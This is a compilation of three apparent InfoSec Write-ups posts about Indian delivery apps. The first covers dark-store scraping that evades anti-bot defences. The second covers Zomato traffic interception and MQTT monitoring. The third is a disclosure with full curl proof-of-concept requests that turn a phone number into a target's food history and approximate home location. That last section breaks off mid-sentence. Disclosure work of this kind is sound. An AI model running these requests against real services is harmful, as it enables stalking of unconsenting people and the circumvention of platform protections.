A technical portfolio project: reverse-engineering the store coordinates and delivery geofences of India’s three largest quick-commerce platforms.

Map explorable at: https://darkstores.vercel.app/

If you order groceries in India and they arrive in 10 minutes, there’s a dark store within 2–3 kilometres of your house. These are small, windowless warehouses — no walk-in customers, no signage, just pickers and riders. Blinkit, Zepto, and Swiggy Instamart collectively operate thousands of them across the country.

I wanted the coordinates of every single one.

Why? Partly curiosity about the infrastructure density of India’s Q-Commerce boom, partly a practical engineering challenge I wanted to document. This post is a breakdown of the full scraping stack — the APIs I reverse-engineered, the defenses I had to work around, and the physical hacks I used when software alone wasn’t enough. If you’re into scraping, reverse engineering, or mobile API analysis, this is for you.

There’s No Store Directory

These platforms don’t expose a public store list. There’s no /api/stores endpoint returning a clean JSON array. Their serviceability APIs are designed around a single question: "Is this GPS coordinate serviceable right now?"

Send a lat/lng, get back whether a store covers you — and if so, which one. That serviceability check is the primitive everything else was built on top of.

The Foundation: Blanket the Country, Filter the Noise

Before writing a single worker, I had to solve a geographic scope problem. India is large. A 1.5–2km coordinate grid over India’s GeoJSON boundary produces roughly 1.4 — 3.3 million points (varies based on grid step)per platform. Most of them sit over mountains, forests, desert, or ocean — places with zero dark stores.

The fix was a population density pre-filter using WorldPop — a freely available raster dataset encoding per-km² population estimates. I loaded India’s WorldPop raster (ind_pd_2020_1km.tif) and dropped any grid coordinate below a population threshold before the scraper ever started.

This single vectorized filter — a boolean mask over a NumPy array — collapsed 1.4 million potential API calls per platform down to a few hundred thousand, concentrated entirely in urban and peri-urban clusters where dark stores actually operate.

How Each Platform Defended Itself

The three platforms had meaningfully different defence profiles, which shaped the approach for each one.

Blinkit was the hardest. HTTP 429 rate limits were frequent, and standard Python HTTP clients were immediately flagged by TLS/JA3 fingerprinting — Cloudflare detecting a non-browser TLS handshake before requests even reached the application layer. The fix was curl_cffi, which impersonates Chrome 110’s TLS footprint at the socket level (impersonate=”chrome110"). One useful discovery mid-project: Indian datacenter IPs worked fine against Blinkit. I moved to a Bright Data datacenter proxy pool for the bulk of the country sweep, which was far faster than mobile IP rotation.

Swiggy Instamart was more unpredictable. Beyond standard 400s range, Swiggy would silently circuit-break — returning 200 OK with either a completely empty body or placeholder-looking data that wasn’t real.

Concurrency had to stay low (10–20 workers) to stay under the WAF threshold. I switched to datacenter proxies with higher concurrency here as well once the data quality looked solid.

Zepto was the most forgiving by far. A single IP could sustain tens of thousands of requests before triggering a rate limit. The discovery phase ran fast.

One thing consistent across all three: the vast majority of scraping used unauthenticated API calls — the same endpoints the app uses before a user logs in. Authenticated requests only became necessary for Zepto’s deep data extraction phase.

Platform 1: Blinkit — Converging 50 Metres

Blinkit’s layout feed endpoint takes GPS coordinates and app identity as custom HTTP headers, and returns the full localized app homepage as a JSON widget tree.

POST https://api2.grofers.com/v1/layout/feed

app_client: consumer_android
lat: 28.6139
lon: 77.2090
auth_key: 45bff2b1437ff764d5e5b9b292f9771428e18fc4XXXXXXXXXXXXXXXXX
battery-level: EXCELLENT

Buried inside the response: merchant_info.id (the store ID) and promise_time_state.DistanceInMeter — the exact road distance in metres from the spoofed coordinate to the nearest dark store.

That distance field became the engine of the convergence algorithm.

The Auto-Convergence Engine

A 1.5km grid sweep confirms a store exists and gives a rough location. Getting to 50-metre accuracy required a second phase.
For every discovered store, I took the last known shortest distance returned by the API and generated an 11×11 micro-grid — 121 new coordinate points arranged within that radius.

I re-submitted this micro-grid, took the new shortest distance, and generated another, tighter micro-grid. Each generation shrinks the search area. After a few iterations, the reported distance converges on near-zero, pinpointing the store’s physical location.

One complication: Blinkit stores occasionally go offline due to surge demand, returning messages like “Due to excess demand, please come back at 6:00 am.” Instead of dropping these, I kept them in a retry queue and waited them out before running the convergence pass.

Platform 2: Zepto — The Store That Hands You Its Own Boundary

Zepto was interesting for a different reason. The discovery phase was easy. The real surprise was what Zepto returned once I hit the right authenticated endpoint.

Phase 1: Discovery

The unauthenticated serviceability endpoint was simple. Send a coordinate, get back a storeId if Zepto covers it. I swept the population-filtered grid at 2km intervals, collecting IDs. Rate limits were rarely a concern at this stage.

The Authenticated Data Pull

Store coordinates, names, and geofences weren’t available from the serviceability endpoint. That data lived in a separate, authenticated internal page endpoint — the app’s homepage payload for a logged-in session.

This required spoofing an Android client (could have done with a web client too, which I realized later) with a valid Bearer token (obtained via a logged-in Zepto web/android session). Something like:

POST /lms/api/v2/get_page HTTP/1.1
Host: api.zepto.com
Content-Type: application/json
Authorization: Bearer eyJhbGc........................
app_version: 26.3.1
User-Agent: okhttp/4.12.0
tenant: ZEPTO
platform: android
Connection: keep-alive

{
  "page_size": 5,
  "latitude": 19.0760,
  "longitude": 72.8777,
  "page_type": "HOME",
  "version": "v2",
  "show_new_eta_banner": true,
  "cartInfo": {
    "removedCampaigns": [],
    "availedCampaignProducts": [],
    "cartProducts": [],
    "zeptoPass": {
      "isPassAdded": false,
      "isBxGyUserOpted": false
    }
  },
  "multi_tab_version": "V2"
}

The response is a large widget tree representing the entire app’s home screen. I deployed recursive JSON traversal hunting for storeDetailsResponse inside it. When found, Zepto returned the store’s real name, precise coordinates, and most notably — servicableGeofence

(Yes, Zepto misspelled it — servicableGeofence is the actual field name in the response.)

    "storeDetailsResponse": {
        "city": {
            "country": "India",
            "name": "Delhi",
            "state": "Delhi"
        },
        "cityId": "c5b3d670-f20e-4cae-a6b7-42e17b8fb08d",
        "closeTime": "20:30:00",
        "estimatedLaunchDate": "2024-12-11T01:30:00Z",
        "id": "3d03e7a7-4ded-458a-9349-2978cd333ef0",
        "initiateSdkNewFlow": true,
        "isActive": true,
        "isFullNightDeliveryEnabled": false,
        "isLive": true,
        "isOnline": true,
        "issueAtStore": false,
        "latitude": 28.641493,
        "longitude": 77.234596,
        "name": "DEL-Connaught Place",
        "openTime": "00:30:00",
        "phase": "LIVE",
        "raining": false,
        "servicableGeofence": [
             ["28.6546246", "77.2365741"],
             ["28.6560326", "77.2366875"],
             ["28.6561437", "77.2344435"],
             ["28.6561287", "77.233521"],
             ...
            ]
}

• And the store’s real name,
• Precise latitude and longitude,
• servicableGeofence — a polygon of GPS coordinates outlining the store’s exact delivery boundary

When a servicableGeofence like this is plotted on a map, it looks like this:

Platform 3: Swiggy Instamart — Working With the Cart API

Phase 1: Pod Discovery

Instamart stores are called “pods” internally. The select-location home API reveals which pod services a given coordinate and returns its podId. Sweeping the population-filtered grid gave me pod coverage across the country.

Getting the Store Data

To retrieve deep store metadata — operational status, internal store info — I hit Instamart’s cart API with a guest cart payload targeting a specific pod.

To construct a cart payload the backend would actually process, I needed a spinId alongside the podId. The spinId is an internal product identifier surfaced during the Phase 1 discovery sweep — I don't know what it maps to semantically, but it was the minimum required field to make the cart payload structurally valid. Without it, the backend rejects the request outright.

POST /api/instamart/checkout/v2/cart?pageType=INSTAMART_CART HTTP/1.1
Host: www.swiggy.com
Content-Type: application/json
Cookie: lat=19.076000; lng=72.877700

{
  "data": {
    "items": [{
      "productId": "",
      "quantity": 1,
      "tradeFreebie": true,
      "spin": "84729103",
      "itemId": "T",
      "meta": {
        "type": "structure",
        "storeId": 10014,
        "freebie": false,
        "isGiftBag": false
      },
      "serviceLine": "INSTAMART"
    }],
    "cartMetaData": {
      "deliveryType": "INSTANT",
      "primaryStoreId": 10014,
      "storeIds": [10014]
    },
    "cartType": "INSTAMART"
  },
  "source": "userInitiated"
}

The geographic cookies are essential. The lat/lng values have to correspond to the pod’s actual service zone — send the wrong coordinates and the response returns nothing useful. With a valid payload and matching location cookies, Instamart’s backend returned a storesInfo array containing the store’s coordinates and operational status.

The Sentinel Loop

Quick-commerce stores go offline transiently — heavy rain, inventory exhaustion, surge demand. When a pod was offline, Swiggy’s API would silently route me to a different nearby store instead. If that was a store I hadn’t seen before, I stored it — but kept the original offline pod in the queue for retry. The sentinel loop re-attempted every offline pod every few minutes until it came back online and returned its own data directly. Without this, a significant chunk of the network would have been missing from the final dataset.

Initial Physical Setup

In the early stages, I wasn’t sure if any of this was feasible. Before spending money on proxies to prove a concept, I went with the cheapest possible IP rotation: a physical Android phone sitting next to the laptop, tethered as a mobile hotspot.

When a 429 hit, a Windows alert popped up, I toggled Airplane Mode manually to get a fresh carrier IP, and hit Enter to resume all workers. Crude, but free — and it was enough to prove the approach worked.

Once validated, I automated this with MacroDroid: a webhook on the Android device that toggled Airplane Mode on/off command. The Python script fired the webhook, waited 18 seconds for the cellular radio to cycle, polled api.ipify.org until a new IP was confirmed, then resumed all async workers.

For the production sweeps on Blinkit and Instamart, I moved to a Bright Data datacenter proxy pool — faster, scalable, and datacenter IPs weren’t being filtered by either platform.

What the Final Dataset Looks Like

After running all three scrapers to completion:

• Every active Blinkit dark store in India, coordinates converged to within 50 metres
• Every active Zepto dark store, with exact delivery geofence polygons
• Every active Swiggy Instamart pod, with coordinates and operational status

Takeaways

• Pre-filter before you scale: Example: 1.4–3.3 million coordinate points per platform is too many. WorldPop + rasterio collapses that to a manageable working set before a single API call is made.
• A 200 is not a success: Swiggy's WAF returns 200 OK with an empty or placeholder body. Always validate the response body explicitly, not just the status code.
• Validate cheaply before you spend: Mobile hotspot IP rotation is free and effective for proving an approach works. Switch to proxies once you know the data is there.

All scraping was done for research purposes. No personal user data was collected at any point. Store coordinates and delivery geofences are geographic operational data. Personal accounts were used for any authenticated access.

How I Scraped Most Dark Stores in India — Blinkit, Zepto & Swiggy Instamart was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Zomato’s “Food Rescue” is essentially a race condition. Here’s how I built a headless monitor to win it.

Every so often, Zomato throws a pop-up on your screen: a cancelled nearby order offered at 50% off. It’s gone in seconds — claimed by whoever is fast enough, or lucky enough to be staring at the right screen at the right time.

I missed it one too many times. Not because I was slow — because I wasn’t even looking. And that bothered me enough to do something about it.
What started as “I want a notification before the flyer appears” became a weeks-long deep dive into Android traffic interception, MQTT protocol internals, server-driven UI architecture, and Zomato’s real-time event pipeline. This is that story.

The Problem: A Race Condition You Can’t Win Passively

Food Rescue events trigger when a real human cancels an order that is already out for delivery. The deal appears for users within a ~3 km radius of where the delivery person currently is. The moment it appears in your app, it’s also appearing for dozens of other users. Miss the flyer — or accidentally swipe back — and it’s gone.

The official app requires you to be actively watching it. I wanted a solution that didn’t.

My goal: intercept the exact same real-time signals the Zomato app listens to, and send myself a push notification the moment a cancellation event fires — before the app even opens.

Step 1: Intercepting the Traffic

Reverse-engineering a web app is trivial. You open DevTools, go to the Network tab, right-click a request, and copy it as cURL. Done.
Mobile apps are a different problem entirely. Modern Android apps operate across three levels of certificate trust, each progressively harder to break:

Level 1: User Trust: The app trusts any certificate you install in your phone’s settings. This method has been dead since Android 7, where apps stopped honoring user-installed certificates by default.

Level 2 : System Trust: The app trusts certificates pre-installed on the OS (the System Store). To intercept here, you need a rooted device or emulator so you can inject your own certificate into the system store.

Level 3: SSL Pinning: The app hardcodes a specific fingerprint of its server certificate directly in its own code. Even if your certificate is in the system store, the app checks: “Does this certificate’s hash match the one I have stored?” If it doesn’t, the connection is killed immediately.

Interestingly, Zomato’s basic HTTP traffic was interceptable using HTTPToolkit, which injects a certificate into the system store. SSL pinning — if it exists in Zomato’s stack — either wasn’t enforced for these endpoints or HTTPToolkit was handling more under the hood than I initially understood.

I searched the intercepted traffic for keywords like food_rescue and rescue. An hour in, I found what I was looking for.

Step 2: The Home Feed Endpoint

When you open Zomato to a saved address, the app calls:

GET /gw/tabbed-home?cell_id=412037575450XXXXXX&address_id=123456 HTTP/1.1
Host: api.zomato.com
X-Zomato-Access-Token: ...
Accept: application/json
User-Agent: OkHttp/4.12.0

Both cell_id and address_id come from your saved addresses — they’re returned when you list your saved locations in the app.

The response is enormous — thousands of lines of JSON. The reason: Zomato uses server-driven UI. Every button, every action, every layout in the app is defined in this JSON response. The client is essentially just an interpreter. You see things like layout_snippet_v3, timer_snippet_type_4, and so on — the server tells the app what to render and what to do when you tap it.

Buried inside this response, under subscription_channels, was this:

{
  "subscription_channels": [
    {
      "type": "food_rescue_cell_412037575450XXXXXX",
      "time": 174XXXXXXXX,
      "client": {
        "username": "zemqtt",
        "password": "secure_password_here",
        "keepalive": 900
      }
    }
  ]
}

I had no idea what MQTT was. A quick ask to an LLM confirmed: this was an MQTT subscription configuration. The app was subscribing to a real-time event channel. The MQTT host, however, wasn’t in the payload — it was hardcoded somewhere in the application binary.

Step 3: Finding the MQTT Host

This is where things got harder for me.

HTTPToolkit only intercepts HTTP. The garbled traffic I had been seeing in its UI wasn’t a bug — it was MQTT traffic being intercepted and misrepresented. No useful clues there.

I tried decompiling the APK using JADX and searching for strings like *.zomato.com and mqtt. I could see where the MQTT connection was being established in the code, but I couldn’t isolate the actual host — too many search results, too much layering.

So I did something unconventional: I asked Grok to deep-search for anything publicly available about Zomato’s MQTT infrastructure. It surfaced the host: “consumermqtt.zomato.com”.

I still don’t know exactly how it found it. But after trying different protocols and common MQTT port numbers, I was able to connect. Later I discovered the official app actually uses “hedwig.zomato.com” — the other endpoint appears to be an alias.

Step 4: The First Real MQTT Message

Using MQTT Explorer, I subscribed to the topic food_rescue_cell_412037575450XXXXXX. The first message I ever received looked like this:

{
  "data": {
    "event_type": "order_claimed",
    "success_actions": [
      {
        "food_rescue_order_claimed": {
          "identifier": "78xxxxxxxx" # Order ID
        },
        "type": "food_rescue_order_claimed"
      }
    ]
  },
  "id": "0f934ff8651fae92d1a95443XXXXXXXXX",
  "timestamp": 177XXXXX,
  "type": "food_rescue"
}

A few things I learned immediately:

• Zomato’s MQTT broker retains messages. If the last event was order_claimed, reconnecting 30 minutes later would still show you that message. Same for order_cancelled — if the order wasn't claimed, the cancellation message persists for a while.
• There are two event types that matter: order_cancelled (the trigger) and order_claimed (the resolution).
• Subscribing to # (all topics) was blocked — Zomato has access control configured per client.

Step 5: How the App Reacts to a Cancellation

At this point I needed to understand exactly what the app does when it receives an order_cancelled event. HTTPToolkit couldn’t help here since it was blocking MQTT traffic.

I found apk-mitm, which patches the APK, removes the System Trust restriction from the manifest, and recompiles it — so the modified app explicitly trusts user-installed certificates. Combined with mitmproxy, I could now see both HTTP and MQTT traffic simultaneously.

After some waiting, a real cancellation event occurred nearby. The moment it did, the app fired:

POST /gw/gamification/food-rescue/create-cart HTTP/1.1
Host: api.zomato.com
X-Zomato-Access-Token: your_token_here
X-User-Defined-Lat: 28.5355
X-User-Defined-Long: 77.3910
...

With a body built entirely from data already available in the address object. The response — when an active rescue exists — is a deeply nested JSON structure containing the cart ID, parent order ID, restaurant details, number of people watching, and a countdown timer.

{
  "response": {
    "floating_timer_view_1": {
      "click_action": {
        "open_food_rescue_bottom_sheet": {
          "results": [
            {
              "timer_snippet_type_4": {
                "button": {
                  "click_action": {
                    "deeplink": {
                      "url": "zomato://order?res_id=1912345",
                      "post_body": "{\"cart_id\":\"cart_888\",\"context\":{\"cart_modification\":{\"ParentOrderID\":\"order_999\",\"ParentCartID\":\"cart_777\",\"CartModificationType\":\"replace\"},\"cart_analytics_data\":{\"number_of_people_watching\":\"15\",\"cart_expiry_timestamp\":\"1740000000\"}}}"
                    }
                  }
                }
              }
            }
          ]
        }
      }
    }
  }
...
}

Step 6: The “Pitch Once” Constraint

Here’s the painful part I discovered after wasting a day or two: the /gw/gamification/food-rescue/create-cart endpoint is pitch-once only.

The moment you call it, Zomato marks that you have been shown the offer. Call it a second time — even a second later — and you get a failure response. The server has either flagged your session as already notified, or someone else claimed it faster.

This means: if I called the endpoint programmatically when the MQTT event fired, and then the user opened the official Zomato app hoping to see the flyer — nothing would be there. The app had already “shown” it to my script.

I tried deep linking into the Zomato app from a notification to hand off the session. None of it worked reliably — too time-sensitive, too many variables.

So I accepted a simpler outcome: listen for the MQTT event, send a push notification, let the user open Zomato themselves. The notification would at least give them a head start versus waiting to stumble upon the flyer organically.

Step 7: Deduplication and Cooldown Logic

One issue I didn’t expect: Zomato sometimes fires the same order_cancelled event 3–5 times in rapid succession. Whether this is intentional retry logic or a side effect of their message retention setup, I'm not sure.

The fix was straightforward:

• Store the unique id from each event.
• If the script has already processed that ID, skip it.
• Implement a cooldown window so that even if multiple events arrive for the same cancellation, only one notification goes out.

The first notification is all a user needs. Sending five is just noise.

Step 8: Building It Out

At this point the core logic was working. The remaining questions were about packaging.

Login flow: Rather than asking users to manually intercept and hardcode their access token, I reverse-engineered Zomato’s login flow — phone number, OTP, session establishment — and built it into the tool. This took around 10–15 hours but made the tool self-contained.

Distribution: I packaged the Python logic into a CLI app: github.com/jatin-dot-py/jomato. But asking people to run a Python script on Termux or a personal server felt like the wrong UX.

I tried building a mobile UI with Flet. Eight hours later, nothing usable.

So I ported the entire thing to Kotlin. The prompt I gave the LLM was precise: “Copy this Python script exactly. Same headers, same business logic. At the network level, no one should be able to tell whether it’s Python or Kotlin.” The Kotlin app came together in under 24 hours: github.com/jatin-dot-py/jomato-mobile.

What This Reveals About Zomato’s Architecture

A few things stood out from this investigation worth noting independently:

Server-driven UI at scale: Zomato’s entire frontend is orchestrated from the server. The client app is a generic renderer. This lets them ship UI changes without app updates, but it also means the entire payload — including internal action endpoints, deeplinks, and analytics — is exposed to anyone who can read the JSON.

MQTT for real-time events: Using MQTT for features like Food Rescue is a sensible architectural choice. It’s lightweight, persistent, and works well for broadcast scenarios. The credential exposure in the home feed response (username and password for the MQTT client) is worth noting — anyone who can read that API response can subscribe to the same topics.

The pitch-once constraint as abuse prevention: The single-call limit on /gw/gamification/food-rescue/create-cart is almost certainly intentional — it prevents one session from camping on the endpoint and blocking other users. But it has the side effect of making the flow incompatible with programmatic interception, which may also be intentional.

What’s Next

A few ideas I haven’t fully explored:

Deep linking completion: There may be a way to start the cart programmatically and hand off to the official app mid-flow. I haven’t found it yet, but I haven’t fully given up.

Shadow account approach: Run a secondary Zomato account that mirrors your address and location. The shadow account handles the MQTT monitoring and the initial cart call. When it fires, your real account opens the app fresh — no “already pitched” state, full flyer experience.

Good enough as-is: The notification-first approach already removes the need to stare at the app. For most users, that’s sufficient.

I Reverse-Engineered Zomato’s Food Rescue Feature — Here’s What I Found Inside was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

TL;DR: Zomato’s “Friend Recommendations” API allows unilateral contact syncing. By uploading a phone number, bad actors can extract a user’s restaurant recommendation history and restaurant coordinates. By mapping overlapping delivery radii, an attacker can estimate a user’s approximate physical location without their consent. GitHub Repository & Full Proof of Concept Code: https://github.com/jatin-dot-py/zomato-intelligence (Status: As of 26 Feb, the endpoints remain unpatched)

Last week, I reported a privacy flaw in Zomato’s “Friend Recommendations” feature with a proof-of-concept video and an automated script. Eternal (Zomato’s parent company after the rebrand) closed the ticket in 12 minutes, labelling the ability to track a stranger’s approximate physical location as “Intended Behaviour.”

The flaw: anyone who has your phone number can silently sync it against Zomato’s API, extract your restaurant recommendation history, and map delivery radius overlaps to estimate where you live — without your knowledge, without your consent, and without any notification sent to you.

The Zomato Privacy Loophole: Discovering the API Flaw

I have known this was a possibility for months; I realized this because:

The refrigerator repair or service center guys aren't my friends. All I did was save their contacts. Why am I supposed to know what they eat or where they potentially have been?

I was just lazy at that time and didn’t give it a second thought until my last Instagram Privacy Bypass disclosure gave me motivation to hunt more.

I chose the Zomato app, and this time I was 100% sure what to look for exactly. It’s dangerously simple: I sync and desync the API contact endpoints and view my contact’s collection. This allows me to see their recommendations. Finally, I query a specific restaurant endpoint to retrieve dish names, metadata, and coordinates.

I was able to assemble a working proof of concept in just 3 hours.

Zomato’s Misleading UI: The Illusion of Consent in ‘Friend Recommendations’

The core issue lies in a misleading design choice: The Definition of a Friend.

In most social apps (Instagram, LinkedIn), a “connection” or “friend” is Mutual. I add you, you accept me, and then we share data. Zomato uses a Unilateral model.

• How Users Think It Works: “I share my food history with my friends.”
• How It Actually Works: “Anyone who has my phone number can see my food history.”

I wrote a script to interact directly with the sync-desync contacts endpoint, skipping the app UI entirely:

• I upload a list of phone numbers (random or targeted. Potentially in thousands or even millions).
• Zomato checks if those numbers have accounts.
• Zomato returns the Recommendation History (Based on their order history), Taste Profile, and Ordered from Restaurants for every match.
• There is no “Accept Request” button. The victim never gets a notification. If I have your number or if I can find your number, I have your data.

They are attempting to build a social network on top of a delivery app, but they have stripped away the core safety feature of social networks: mutual consent.

Exploiting Zomato API Endpoints: A Technical Proof of Concept

Step 1: The sync-contacts endpoint

Purpose: The attacker syncs the phone numbers they want to target.

Request:

curl -X POST "https://api.zomato.com/gw/user-preference/recommendation/sync-contacts" \
  -H "Accept: image/webp" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Content-Type: application/json; charset=utf-8" \
  -H "Host: api.zomato.com" \
  -H "X-Zomato-Access-Token: <Your Token Here>" \
  -H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
  -H "X-Zomato-App-Version: 931" \
  -H "X-Zomato-App-Version-Code: 1710019310" \
  -H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
  -d '{
    "flow_type": "revamped_flow",
    "contacts_access_level": "full_access",
    "contacts": [
      {
        "phone_numbers": ["+91 99999 99999"],
        "name": "poc_contact_9999999999",
        "id": "1"
      }
    ],
    "location": {
      "city_id": 11111,
      "place": {
        "delivery_subzone_id": 11111
      }
    }
  }'

Response:

{'status': 'success', 'message': 'success'}

Step 2: get-contacts we just synced

Purpose: This step is crucial. The API endpoint indicates if the target is a Zomato user and if they have public recommendations. Most importantly, it retrieves the encrypted_user_id associated with that phone number.

Request:

curl -X POST "https://api.zomato.com/gw/user-preference/recommendation/get-contacts" \
  -H "Accept: image/webp" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive" \
  -H "Content-Type: application/json; charset=UTF-8" \
  -H "Host: api.zomato.com" \
  -H "X-Zomato-Access-Token: <Your Token Here>" \
  -H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
  -H "X-Zomato-App-Version: 931" \
  -H "X-Zomato-App-Version-Code: 1710019310" \
  -H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
  -d '{
    "request_type": "initial",
    "additional_filters": {},
    "page_type": "contacts_management",
    "removed_snippet_ids": [],
    "page_index": "1",
    "count": 99999,
    "is_gold_mode_on": false,
    "keyword": "",
    "load_more": true
  }'

Simplified Response from get_contacts.py (the actual response is a complex structure, as Zomato uses Server Driven UI):

[
  {
    "name": "poc_contact_XXXXXXXXXX",
    "is_zomato_user": true,
    "has_recommendations": true,
    "recommendations": 23,
    "encrypted_owner_user_id": "404d23c718d795dd649b326bdc9e492XXXXXXXXXXXXXXXXXXXXXX"
  },
  {
    "name": "poc_contact_9999999999",
    "is_zomato_user": false,
    "has_recommendations": false,
    "recommendations": 0,
    "encrypted_owner_user_id": null
  }
]

What is Encrypted User Id?: Instead of sending a public integer User ID, Zomato sends an encrypted_user_id so the user can be anonymized and the review data and potential PII does not get exposed from the following endpoint: https://zoma.to/u/123456

Step 3: The get_listing_by_usecase endpoint. Get Restaurant Names for the “Encrypted User ID”

Purpose: The purpose of this request is to turn that number of Recommendations to actual restaurant names and their specific outlets.

Request:

# Initial request cURL (for page 1; subsequent pages require dynamic postback_params)
curl -X POST "https://api.zomato.com/gateway/search/v1/get_listing_by_usecase" \
  -H "Accept: image/webp" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Content-Type: application/json; charset=UTF-8" \
  -H "Host: api.zomato.com" \
  -H "X-Client-Id: zomato_android_v2" \
  -H "X-Zomato-Access-Token: <Your token Here>" \
  -H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
  -H "X-Zomato-App-Version: 931" \
  -H "X-Zomato-App-Version-Code: 1710019310" \
  -H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
  -d '{
    "request_type": "initial",
    "page_type": "collection_page",
    "friend_recommendation_params": "{\"collection_type\": \"RECOMMENDATION\", \"owner_user_name\": \"your_owner_name_here\", \"encrypted_owner_user_id\": \"your_encrypted_owner_user_id_here\"}",
    "count": 10,
    "view_type": "RESTAURANT",
    "additional_filters": {},
    "removed_snippet_ids": [],
    "page_index": "1",
    "location": {
      "entity_type": "subzone",
      "entity_id": "9999999999",
      "place_type": "DSZ",
      "place_id": "9999999999"
    },
    "is_gold_mode_on": false,
    "keyword": "",
    "load_more": false
  }'

Simplified Response from get_contact_collection.py (Again the actual raw response has a complex structure):

{
  "success": true,
  "total": 10,
  "restaurants": [
    {
      "name": "Pizza Wings",
      "res_id": "XXXXXXXXX",
      "chain_id": "XXXXXXXXX",
      "displayed_id": "XXXXXXXXX"
    },
    {
      "name": "Body Fuel Station",
      "res_id": "XXXXXXXXX",
      "chain_id": "XXXXXXXXX",
      "displayed_id": "XXXXXXXXX"
    },
    {
      "name": "Domino's Pizza",
      "res_id": "XXXXXXXXX",
      "chain_id": "143",
      "displayed_id": "XXXXXXXXX"
    },
    
    ...
  ],
<redacted for brevity>

You will notice the following things in the response:

• chain_id: Its the parent id for a outlet. For example, For a chain like Subway, chain_id never changes eg: 123, and the res_id would represent the Id of the specific outlet of that subway.
• res_id: Stands for the restaurant Id, represents the actual outlet location.

For franchises like subway, KFC, etc, The chain_id never changes, the res_id represents the particular KFC or Subway for a certain area.

Zomato API, does not guarantee to give us specific res_id when the restaurant is a Chain. This could be due to several reasons like Availability, Zomato tends to return the res_id’s that could be closer, weather conditions, No nearby riders etc…

For local restaurants like “Body Fuel Station”, the chain_id, and the res_id always remains the same. Here, Zomato API is forced to return the specific outlet as it’s not registered as a Chain on Zomato.

By now, we have a list of the restaurant our target has at least ordered from once.

Step 4: Extracting Specific Food Items From the list of restaurants we got for our target using gw/menu/{res_id} Endpoint

Purpose: You must have noticed, when you refresh the restaurant menu, on the top section as a filter you get to see what your contact (“Friend”) has recommended. The goal is to now extract those specific items.

Request:

curl -X POST "https://api.zomato.com/gw/menu/<res_id>" \
  -H "Accept: image/webp" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Host: api.zomato.com" \
  -H "X-Zomato-Access-Token: <Your Access Token>" \
  -H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
  -H "X-Zomato-App-Version: 931" \
  -H "X-Zomato-App-Version-Code: 1710019310" \
  -H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
  -d "resID=<res_id>&mode=delivery&tabId=menu"

Simplified Response From get_menu.py (Again, the actual structure is very complex):

[
  {
    "user_id": "404d23c718d795dd649b326bdc9e492XXXXXXXXXXXXXXXXXXXXXX",
    "ordered_items": [
      {
        "name": "Peri Peri Pizza",
        "price": 289,
        "image": "https://b.zmtcdn.com/data/dish_photos/cea/20a8d49d5d4a28712956d92872636cea.png"
      },
      {
        "name": "Mexican Pizza",
        "price": 269,
        "image": "https://b.zmtcdn.com/data/dish_photos/260/7ce7ae6a108a3319f0b5a74a0cf0b260.png"
      },
      {
        "name": "Jalapeno Garlic Bread",
        "price": 239,
        "image": "https://b.zmtcdn.com/data/dish_photos/2a4/cdf164bb6648642a769403c7bd9392a4.png"
      },
      {
        "name": "Farmer Choice Pizza",
        "price": 299,
        "image": "https://b.zmtcdn.com/data/dish_photos/e35/b54ca6221ad549a9fa65376b6c0cae35.png"
      }
    ]
  },
  {
    ...
  }
]

We did it for one restaurant, but we have to run this script on each restaurant we identified from Step 3, and by then we will have a list of all dishes and the bare minimum price before discounts.

Step 5: Enriching the list of Restaurants we got for the user with Specific coordinates

Purpose: The goal now is to enrich the list of all restaurants, to extract the latitude and longitudes.

Request:

curl -X POST "https://api.zomato.com/gw/menu/res_info/<res_id>" \
  -H "Accept: image/webp" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive" \
  -H "Content-Type: application/json; charset=utf-8" \
  -H "Host: api.zomato.com" \
  -H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
  -H "X-Zomato-App-Version: 931" \
  -H "X-Zomato-App-Version-Code: 1710019310" \
  -H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
  -H "X-Zomato-Is-Metric: true" \
  -H "X-Zomato-UUID: b2691abb-5aac-48a5-9f0e-750349080dcb" \
  -d '{"should_fetch_res_info_from_agg": true}'

Simplified Response from get_res_meta.py:

{
  "latitude": 30.XXXXXXXXXXX,
  "longitude": 76.XXXXXXXXXXX,
  "success": true
}

We will repeat this process for each restaurant for a user, then we will have the following details:

• Restaurant Names
• Specific Dishes, Images, Prices from all Restaurants
• Latitude and Longitude of the Restaurant or the specific Outlet.

Final Aggregated Intelligence:

So, using series of “intended” Zomato features, I was able to get this data from just a phone number !

Zomato could have automatically stopped me at Step 3 or 4 by just checking, if the connection is mutual.

Real-World Exploitation: Location Inference via Zomato Data

The security team’s defence was: “Restaurant coordinates represent publicly listed business locations, not user locations.”

Case Study: Inferring a Target’s Approximate Location

Let’s work through an actual example from my PoC data dump.

Here’s what the API returned:

Notice: All local restaurants. Each has a unique res_id = chain_id, meaning these coordinates point to ONE physical location, not a chain.

The Delivery Radius Overlap:

Zomato’s typical delivery radius is 6 km — 9 km depending on the restaurant opt in policy. Let’s be conservative and use 6 km for local shops.

Also, to get accurate delivery radius, you could use the Zomato app/ automated scripts to change location strategically to see if that restaurant still delivers to that area. But I’m skipping that for this experiment.

When I plot the coordinates I got from the script on a map (will exclude cases where chain_id != res_id ):

The overlapping area represents the area where ALL three restaurants can deliver. Approximately 6 sectors.

Not to mention, a bad actor would be smart enough to exclude areas like parks, empty fields, and water bodies.

Behavioural Pattern Analysis & Narrowing the intersection point further

Look at the order frequency for a different person (Refer to Figure L):

